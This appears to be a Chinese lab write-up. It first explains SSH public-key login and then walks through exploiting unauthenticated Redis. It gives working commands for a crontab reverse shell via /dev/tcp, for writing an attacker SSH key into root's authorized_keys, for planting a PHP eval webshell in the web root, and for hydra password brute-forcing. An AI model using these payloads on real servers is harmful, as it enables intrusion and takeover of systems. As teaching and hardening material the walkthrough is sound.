未授权访问

SSH免登录

linux间SSH免登录

客户端:192.168.100.137 ==> 用于生成公钥私钥

服务端:192.168.100.134 ==> 用于接收公钥

  1. 客户端生成公私钥

    ssh-keygen -t rsa
    
  2. 上传公钥到服务器

    ssh-copy-id guest@192.168.100.134
    
  3. 登录(失败则需确认权限)

    ssh root@192.168.100.134
    

SSH两种验证方式的原理

密码验证方式的原理
  1. 当客户端发起ssh请求,服务器会把自己的公钥发送给用户
  2. 用户会根据服务器发来的公钥对密码进行加密
  3. 加密后的信息回传给服务器,服务器用自己的私钥解密,如果密码正确,则用户登录成功
公钥验证方式的原理
  1. 首先在客户端生成密钥对,并将客户端的公钥拷贝到服务端的authorized_keys目录下

  2. 当客户端发起ssh请求,服务端会随机生成一个字符串,并使用客户端拷贝过来的公钥进行加密,然后发送给客户端

  3. 客户端得到服务端发来的消息后,会使用私钥进行解密,然后将解密后的字符串发送给服务端

  4. 服务端接受到客户端发来的字符串后,跟之前的字符串进行对比,如果一致,就允许免密码登录

xshell使用公私钥连接kali(windows->linux)

  1. 打开xshell,选择工具,选择新建用户密钥生成向导

    在这里插入图片描述

  2. 密钥类型选择RSA,密钥长度选择4096,长度稍大一点更加安全

    在这里插入图片描述

  3. 密钥生成成功,先择下一步

    在这里插入图片描述

  4. 密钥名称建议改成authorized_keys,之后的密钥可以不输,这里的密码是给密钥加密使用的,点击完成

    在这里插入图片描述

  5. 根据图中顺序将公钥保存至本地,保存时将后面的.pub去掉

    在这里插入图片描述

    在这里插入图片描述

  6. 使用lrzsz命令上传至服务器或使用xftp,这里使用xftp

在这里插入图片描述

  1. 将公钥拉至服务器的.ssh目录(没有目录则创建一个),并右击选择更改权限

    在这里插入图片描述

  2. 给authorized_keys文件600权限,.ssh目录700权限

    在这里插入图片描述

  3. 使用xshell连接服务器,选择公钥连接,输入密钥密码,之上设置没有加密码的可以不写

    在这里插入图片描述

  4. 登录成功

    在这里插入图片描述

REDIS未授权访问

redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

安装redis

环境:centOS7

yum install -y wget && wget http://download.redis.io/releases/redis-3.2.0.tar.gz		#安装wget命令并拉取redis安装包
tar -zxvf redis-3.2.0.tar.gz		#解压安装包
cd redis-3.2.0		#进入编译包
yum install -y gcc	#安装gcc编译环境
make				#编译(或make MALLOC=libc)
vim redis.conf 		#修改配置文件,使可以远程访问,建议修改之前备份
bind 127.0.0.1  前面加上#号  
protected-mode  设为no
redis-server redis.conf #重新加载配置文件
#redis-3.2.0目录下,将运行命令放置用户系统命令
cp src/redis-cli /usr/bin && cp src/redis-server /usr/bin
#启动redis-server 
redis-cli -h 192.168.100.137
#若不放置用户系统命令
#需要在redis-3.2.0/src目录下,运行命令 ./redis-cli -h 192.168.63.130

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件

redis基本命令

  • 连接redis:

    redis-cli -h 192.168.100.137

  • 查看redis版本信息、一些具体信息、服务器版本信息等等:

    192.168.100.137:6379>info

  • 将变量x的值设为test:

    192.168.100.137:6379>set x "test"

  • 是把整个redis数据库删除,一般情况下不要用!!!

    192.168.100.137:6379>flushall

  • 查看所有键:

    192.168.100.137:6379>KEYS *

  • 获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。

    192.168.100.137:6379>CONFIG GET dir

    192.168.100.137:6379>CONFIG GET dbfilename

    在这里插入图片描述

攻击方法

帮助:https://www.freebuf.com/column/158065.html

攻击机:192.168.100.134 ==>kali

redis服务器:192.168.100.137 ==> miniCentOS7

首先nmap扫描服务器开启端口

利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

先在自己的服务器上监听一个端口
nc -lvnp 4444
然后执行命令:
root@kali:~# redis-cli -h 192.168.100.137
192.168.100.137:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.137/4444 0>&1\n"
OK
192.168.100.137:6379> config set dir /var/spool/cron/
OK
192.168.100.137:6379> config set dbfilename root
OK
192.168.100.137:6379> save
OK

在这里插入图片描述

nc监听端口已经反弹回来shell

在这里插入图片描述

写ssh-keygen公钥然后使用私钥登陆

在以下条件下,可以利用此方法

  1. Redis服务使用ROOT账号启动
  2. 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
首先在本地生成一对密钥:  
root@kali:~/.ssh# ssh-keygen -t rsa
然后redis执行命令:
192.168.100.134:6379> config set dir /root/.ssh/
OK
192.168.100.134:6379> config set dbfilename authorized_keys
OK
192.168.100.134:6379> set x "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSKUq5XlxrvgJm/Akt7sj9aiKySVcgVrvlhrvD9++LK0tIA6MRdVwguWmoK1P1ftFsrx/9HJ0UNfqBt9csCMBn7KdnTEZH0rQvmoVHShmwsqZcOMMZ9/W/B0jFdN6F2mYhlIKWMuC1edd7j4U6mLHR4rwLmsflW/4HbRzZuuzgAEQtJUOo3SvIF59DXiF3ww8FPZtC1fDJm+u/I8N87M8LfPP7qrmIniEx0b28y3e2+dreAJZGqJSc/a6D3EFnZPRBfNzp7xeIBJo3kk9bnU3N8uFO7Uyf4cv/ecwWK3663YxjuFuccm/SUp+ZQakabjIZ+3Cz+uzdztM3YdWW6VdTe1Sw/mfKaWM3C8CObj0Uy3v9JsVzUj4HLbVAstaCc6DeHA5r4cxrfN3OKGxsLci2cU/95fSfkdENL2XwM29Qvbh0NSkkTQKDLuOIsvJFBWYMm2ic8BFzwwWbWYxhEwocakujj3nvnqmLIWtRhMjH2LdHzXAT6iC81bekux5eZrc= guest@kali"
OK
192.168.100.134:6379> save
OK
save后可以直接利用公钥登录ssh  
ssh -i id_rsa root@192.168.100.137

在这里插入图片描述

往web物理路径写webshell

测试环境:apache

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

执行以下命令

192.168.100.137:6379> config set dir /var/www/html/
OK
192.168.100.137:6379> config set dbfilename shell.php
OK
192.168.100.137:6379> set x "\n\n\n<?php @eval($_POST['passwd']);?>\n\n\n"
OK
192.168.100.137:6379> save
OK

即可将shell写入web目录(web目录根据实际情况)

在这里插入图片描述

蚁剑连接

在这里插入图片描述

在这里插入图片描述

利用hydra暴力破解redis的密码

使用hydra工具可以对redis进行暴力破解

hydra -P passwd.txt redis://192.168.152.128

安全配置

  • 限制登录ip
  • 添加密码
  • 修改默认端口
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值